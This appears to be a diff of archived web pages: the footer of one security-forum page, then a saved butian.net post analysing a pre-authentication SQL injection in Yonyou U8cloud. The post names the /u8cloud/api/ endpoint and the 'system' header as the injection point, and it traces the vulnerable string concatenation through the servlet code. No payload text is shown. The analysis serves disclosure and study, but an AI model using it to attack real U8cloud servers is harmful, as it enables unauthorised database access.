<span class="btn btn-default pull-right" id=follow_topic data-pk=14036>
|
||||
<span>关注</span><span class=i-seprator> | </span><span id=follow-count>1</span>
|
||||
</span>
|
||||
|
||||
|
||||
<span class="btn btn-default pull-right">
|
||||
<span>
|
||||
|
||||
<span id=ready_reward data-toggle=modal data-target=#myModal>打赏</span>
|
||||
|
||||
</span>
|
||||
</span>
|
||||
|
||||
<div class=clearfix></div>
|
||||
</div>
|
||||
|
||||
<div class=related-section>
|
||||
<div class=related-box>
|
||||
|
||||
<span><a class=pull-left href=https://xz.aliyun.com/t/13986 title=RSA系列之进阶实战><span class=related-label style="padding:3px 4px;margin-right:3px">上一篇:</span>RSA系列之进阶实战</a></span>
|
||||
|
||||
|
||||
<span><a class=pull-left href=https://xz.aliyun.com/t/14038 title=代码审计之tp各版本链子调式随笔><span class=related-label>下一篇:</span>代码审计之tp各版本链子调式随笔</a></span>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="modal fade" id=myModal role=dialog aria-labelledby=myModalLabel aria-hidden=true>
|
||||
<div class=modal-dialog>
|
||||
<div class=modal-content>
|
||||
<div class=modal-header>
|
||||
<h4 class=modal-title id=myModalLabel style=text-align:center>
|
||||
积分打赏
|
||||
</h4>
|
||||
</div>
|
||||
<div class=modal-body id=button-value>
|
||||
<div style=text-align:center>
|
||||
<div role=group>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type1>
|
||||
1分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type2>
|
||||
2分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type3>
|
||||
5分
|
||||
</button>
|
||||
</div>
|
||||
<br>
|
||||
<div style=margin-top:20px>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type4>
|
||||
8分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type5>
|
||||
10分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type6>
|
||||
20分
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class=modal-footer id=confirm>
|
||||
<button type=button class="btn btn-default" data-dismiss=modal>关闭</button>
|
||||
<button type=button class="btn btn-primary" id=reward_topic data-pk=14036>确定</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="row box">
|
||||
<ol class=breadcrumb>
|
||||
<li class=active>0 条回复</li>
|
||||
</ol>
|
||||
<div class="box-container post-container">
|
||||
|
||||
<ul>
|
||||
<li style=min-height:50px;line-height:60px;margin-left:15px><strong>动动手指,沙发就是你的了!</strong></li>
|
||||
</ul>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="row box" id=reply-box>
|
||||
|
||||
<div class="box-container clearfix">
|
||||
|
||||
<div class=reminder>
|
||||
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F14036&from_type=xianzhi"><strong>登录</strong></a> 后跟帖
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<footer class=bs-docs-footer>
|
||||
<div class="container text-center">
|
||||
<div class=links>
|
||||
<a href=https://xz.aliyun.com/feed target=_blank>RSS</a>
|
||||
<a href=https://xz.aliyun.com/about target=_blank><span>关于社区</span></a>
|
||||
<a href=https://xz.aliyun.com/partner target=_blank><span>友情链接</span></a>
|
||||
<a href=https://xz.aliyun.com/notice>社区小黑板</a>
|
||||
<a href=https://xz.aliyun.com/connection>联系我们</a>
|
||||
<a href=https://report.aliyun.com/ target=_blank>举报中心</a>
|
||||
<a href=https://www.aliyun.com/complaint target=_blank>我要投诉</a>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
|
||||
|
||||
<div id=waf_nc_block style=display:none></div>
|
||||
@@ -0,0 +1,194 @@
|
||||
<!DOCTYPE html> <html><!--
|
||||
Page saved with SingleFile
|
||||
url: https://forum.butian.net/share/2879
|
||||
--><meta charset=utf-8>
|
||||
<meta http-equiv=X-UA-Compatible content="IE=edge">
|
||||
<meta name=viewport content="width=device-width, initial-scale=1">
|
||||
<meta name=csrf-token content=VD0owLiLrat8LaN2vBAqJtnLFngrtZgXtzYM7DqG>
|
||||
<title>U8cloud base64 SQL注入漏洞分析</title>
|
||||
<meta name=keywords content=奇安信,天眼,补天,漏洞,情报,攻防,安全>
|
||||
<meta name=description content="奇安信攻防社区-U8cloud base64 SQL注入漏洞分析">
|
||||
<meta name=author content="QIANXIN Team">
|
||||
<meta name=copyright content="2021 QIANXIN.com">
|
||||
<style>@media(max-width:767px){}</style>
|
||||
<style>/*!
|
||||
* Bootstrap v3.4.1 (https://getbootstrap.com/)
|
||||
* Copyright 2011-2019 Twitter, Inc.
|
||||
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
|
||||
*//*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}a:active,a:hover{outline:0}img{border:0}textarea{color:inherit;font:inherit;margin:0}textarea{overflow:auto}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{-webkit-tap-highlight-color:rgba(0,0,0,0)}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}img{vertical-align:middle}h2,h3{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}h3{margin-top:20px;margin-bottom:10px}h3{font-size:24px}p{margin:0 0 10px}@media(min-width:768px){}ul{margin-top:0;margin-bottom:10px}@media(min-width:768px){}code{color:#c7254e}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media(min-width:768px){.container{width:750px}}@media(min-width:992px){.container{width:970px}}@media(min-width:1200px){.container{width:1170px}}.row{margin-right:-15px;margin-left:-15px}.col-xs-12{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-12{float:left}.col-xs-12{width:100%}@media(min-width:768px){}@media(min-width:992px){.col-md-9{float:left}}@media(min-width:1200px){}@media screen and (max-width:767px){}@media screen and (-webkit-min-device-pixel-ratio:0){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-device-width:480px) and (orientation:landscape){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}@media screen and (min-width:768px){}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@media(min-width:768px){}@media(min-width:992px){}@media all and (transform-3d),(-webkit-transform-3d){}@media screen and (min-width:768px){}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before,.btn-toolbar:after,.btn-toolbar:before,.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.dl-horizontal dd:after,.dl-horizontal dd:before,.form-horizontal .form-group:after,.form-horizontal .form-group:before,.modal-footer:after,.modal-footer:before,.modal-header:after,.modal-header:before,.nav:after,.nav:before,.navbar-collapse:after,.navbar-collapse:before,.navbar-header:after,.navbar-header:before,.navbar:after,.navbar:before,.pager:after,.pager:before,.panel-body:after,.panel-body:before,.row:after,.row:before{display:table;content:" "}.btn-group-vertical>.btn-group:after,.btn-toolbar:after,.clearfix:after,.container-fluid:after,.container:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.modal-footer:after,.modal-header:after,.nav:after,.navbar-collapse:after,.navbar-header:after,.navbar:after,.pager:after,.panel-body:after,.row:after{clear:both}@-ms-viewport{width:device-width}@media(max-width:767px){}@media(max-width:767px){}@media(max-width:767px){}@media(max-width:767px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:1200px){}@media(min-width:1200px){}@media(min-width:1200px){}@media(min-width:1200px){}@media(max-width:767px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:1200px){}</style>
|
||||
<style>/*!
|
||||
* Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}</style>
|
||||
<style>@media(min-width:1200px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}@media(min-width:768px){}@media(min-width:992px){}@media(min-width:1200px){}html{font-size:10px;-webkit-tap-highlight-color:transparent}body{font-family:-apple-system,"Helvetica Neue",Helvetica,Arial,"PingFang SC","Hiragino Sans GB","WenQuanYi Micro Hei","Microsoft Yahei",sans-serif;font-size:14px;line-height:1.5;color:#333;background-color:#f6f6f6;word-break:break-word}textarea{font-family:inherit;font-size:inherit;line-height:inherit}.wrap{padding-bottom:30px;position:relative}.main{background-color:#fff;border-radius:4px}.mb-20{margin-bottom:20px}.mt-10{margin-top:10px}.taglist-inline{list-style:none;padding:0;font-size:0}.taglist-inline li{padding:0;font-size:13px}.taglist-inline>li{display:inline-block;margin-right:5px}.taglist-inline>li:last-child{margin-right:0}.widget-article .quote{padding:25px;background:#f3f5f9;line-height:24px;overflow:hidden}@media(min-width:768px){}.word-wrap{word-wrap:break-word;word-break:normal}::-webkit-scrollbar{width:6px;height:6px}::-webkit-scrollbar-thumb{background-color:#e4e6eb;outline:0;border-radius:2px}::-webkit-scrollbar-track{box-shadow:none;border-radius:2px}</style>
|
||||
<style>a{text-decoration:none}a:focus,a:hover{color:#004e31;text-decoration:underline}@media(max-width:767px){}@media(max-width:767px){}.tag{display:inline-block;padding:0 8px;color:#017e66;background-color:#e7f2ed;height:24px;line-height:24px;font-weight:400;font-size:13px;text-align:center}.tag[href]:focus,.tag[href]:hover{background-color:#017e66;color:#fff;text-decoration:none}</style>
|
||||
<style>@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}.markdown-body{color-scheme:light;--color-prettylights-syntax-comment:#6e7781;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-entity:#8250df;--color-prettylights-syntax-storage-modifier-import:#24292f;--color-prettylights-syntax-entity-tag:#116329;--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-variable:#953800;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-invalid-illegal-text:#f6f8fa;--color-prettylights-syntax-invalid-illegal-bg:#82071e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-italic:#24292f;--color-prettylights-syntax-markup-bold:#24292f;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-deleted-bg:#ffebe9;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-ignored-text:#eaeef2;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-brackethighlighter-angle:#57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:#8c959f;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-fg-default:#24292f;--color-fg-muted:#57606a;--color-fg-subtle:#6e7781;--color-canvas-default:#fff;--color-canvas-subtle:#f6f8fa;--color-border-default:#d0d7de;--color-border-muted:hsl(210,18%,87%);--color-neutral-muted:rgba(175,184,193,0.2);--color-accent-fg:#0969da;--color-accent-emphasis:#0969da;--color-attention-subtle:#fff8c5;--color-danger-fg:#cf222e}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;color:var(--color-fg-default);background-color:var(--color-canvas-default);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body img{border-style:none;max-width:100%;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.markdown-body h2{margin-top:24px;margin-bottom:16px;line-height:1.25}.markdown-body h2{font-weight:600;padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body code{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.markdown-body ::-webkit-input-placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body ::placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body p{margin-top:0;margin-bottom:16px}.markdown-body code{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body ::-webkit-calendar-picker-indicator{-webkit-filter:invert(50%);filter:invert(50%)}</style>
|
||||
<style>#md_view{padding:0 20px}#md_view img:hover{cursor:pointer}</style>
|
||||
<!--[if lt IE 9]>
|
||||
<script src="/static/js/html5shiv.min.js"></script>
|
||||
<script src="/static/js/respond.min.js"></script>
|
||||
<![endif]-->
|
||||
<style>html #layuicss-skinlayercss{display:none;position:absolute;width:1989px}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@media screen and (max-width:1100px){}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(Line truncated
|
||||
<body>
|
||||
<div class="global-nav mb-50" style="display:none !important">
|
||||
|
||||
</div>
|
||||
<div class="top-alert mt-60 clearfix text-center" style="display:none !important">
|
||||
<!--[if lt IE 9]>
|
||||
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
|
||||
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
|
||||
</div>
|
||||
<![endif]-->
|
||||
|
||||
</div>
|
||||
<div class=wrap>
|
||||
<div class=container>
|
||||
<div class="row mt-10">
|
||||
<div class="col-xs-12 col-md-9 main">
|
||||
<div class=widget-article>
|
||||
<h3 class="title word-wrap">U8cloud base64 SQL注入漏洞分析</h3>
|
||||
<ul class=taglist-inline>
|
||||
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/48>漏洞分析</a></li>
|
||||
</ul>
|
||||
<div class="content mt-10">
|
||||
<div class="quote mb-20">
|
||||
U8cloud base64 SQL注入漏洞分析,真的是file/upload/base64导致的SQL注入吗?
|
||||
</div>
|
||||
<textarea id=md_view_content style=display:none>0x00 前言
|
||||
-------
|
||||
|
||||
前段时间爆出一个`U8cloud`的SQL注入,路径为`/u8cloud/api/file/upload/base64`,在此之前也做过`U8cloud`的代码审计,没有发现和这个路径类似的路径,正好这次有时间,来复现分析一下这个漏洞到底是怎么回事。
|
||||
|
||||
0x01 漏洞复现
|
||||
---------
|
||||
|
||||
按照网上给出的`POC`,利用结果如下图,注入点在请求头的`system`字段。
|
||||
|
||||

|
||||
|
||||
但是神奇的是,如果吧路径中的`file/upload/base64`随便替换为其他东西,会发现居然也能成功注入,这就很耐人寻味了,这个漏洞和`file/upload/base64`居然没有半毛钱关系。
|
||||
|
||||

|
||||
|
||||
0x02 漏洞分析
|
||||
---------
|
||||
|
||||
接下来掏出朋友给的一份编译后的源码,全局搜索`u8cloud/api`,很快就在`webapps/u8c_web/WEB-INF/web.xml`中找到了这个路径,对应的`servlet`是`ExtSystemInvokerServlet`,除了他以外,`/u8cloud/openapi/*`、`/u8cloud/yls/*`、`/u8cloud/extsystem/dst/*`三个路径也都对应到了`ExtSystemInvokerServlet`。
|
||||
|
||||

|
||||
|
||||
而这个`ExtSystemInvokerServlet`的位置在`fw.jar!\nc\bs\framework\server\extsys\ExtSystemInvokerServlet`。
|
||||
|
||||
找到这个类,来看他的`doAction()`方法。重点关注一下`ExtSystemServerEnum`和`serviceName`
|
||||
|
||||

|
||||
|
||||
`ExtSystemServerEnum`是一个枚举类,包含`/u8cloud/yls`、`/u8cloud/extsystem/dst`、`/u8cloud/api/`、`/u8cloud/openapi/`四个常量。
|
||||
|
||||

|
||||
|
||||
回到上面的`doAction()`方法,我们要保证我们的`request.getRequestURI()`必须是以上述四个常量之一开头才可以,否则会抛出异常,也就是说不能按照一般的`/servlet/*`路径根据模块名和包名去调用,否则就会报错。
|
||||
|
||||
此时,如果我们访问的路径是`/u8cloud/api/file/upload/base64`,就会匹配到`/u8cloud/api/`,然后`serviceName`就被赋值为`u8cloud_api`。
|
||||
|
||||
接着一路向下,进入`getServiceObject()`。
|
||||
|
||||

|
||||
|
||||
根据`serviceName`也就是`u8cloud_api`去找对应的类。这里具体逻辑感兴趣的可以自行去分析,偷了个懒。
|
||||
|
||||

|
||||
|
||||
根据这项目的惯性,一般就是在各种配置文件中进行的配置。全局搜索一下`u8cloud_api`,在`/modules/uap/META-INF/P_API.upm`中找到如下所示的配置,找到`u8c.server.APIServletForJSON`这么一个类。
|
||||
|
||||

|
||||
|
||||
继续跟进,在`doAction()`方法中,会先判断`request.getPathInfo()`,显然不是以`file.`开头,进入`APIController.forWard(request)`。
|
||||
|
||||

|
||||
|
||||
在`APIController.forWard()`中,会发现存在`checkUser()`进行校验,跟进看一下。
|
||||
|
||||

|
||||
|
||||
在这个地方,看到了本次分析的主角`system`,通过`inputData.getSystem()`获取,然后传入`APIOutSysUtil.getOutSysVOByCode()`中。
|
||||
|
||||

|
||||
|
||||
继续跟进一下,明晃晃的字符串拼接就出现了,就造成了`SQL`注入。
|
||||
|
||||

|
||||
|
||||
还在校验身份甚至没有到校验授权的时候就完成了注入,这也就是我们请求`/u8cloud/api/f`都可以成功注入的原因了。
|
||||
|
||||

|
||||
|
||||
0x03 后续
|
||||
-------
|
||||
|
||||
自此,关于这个漏洞的一些情况就分析完毕了,但是也还是遗留了一些问题,比如`/u8cloud/api/`后的服务模块具体是怎么调用的,感兴趣的师傅们就自行去研究了。</textarea>
|
||||
<div id=layer-photos-demo>
|
||||
<div id=md_view><div class=markdown-body><h2 blockindex=0>0x00 前言</h2>
|
||||
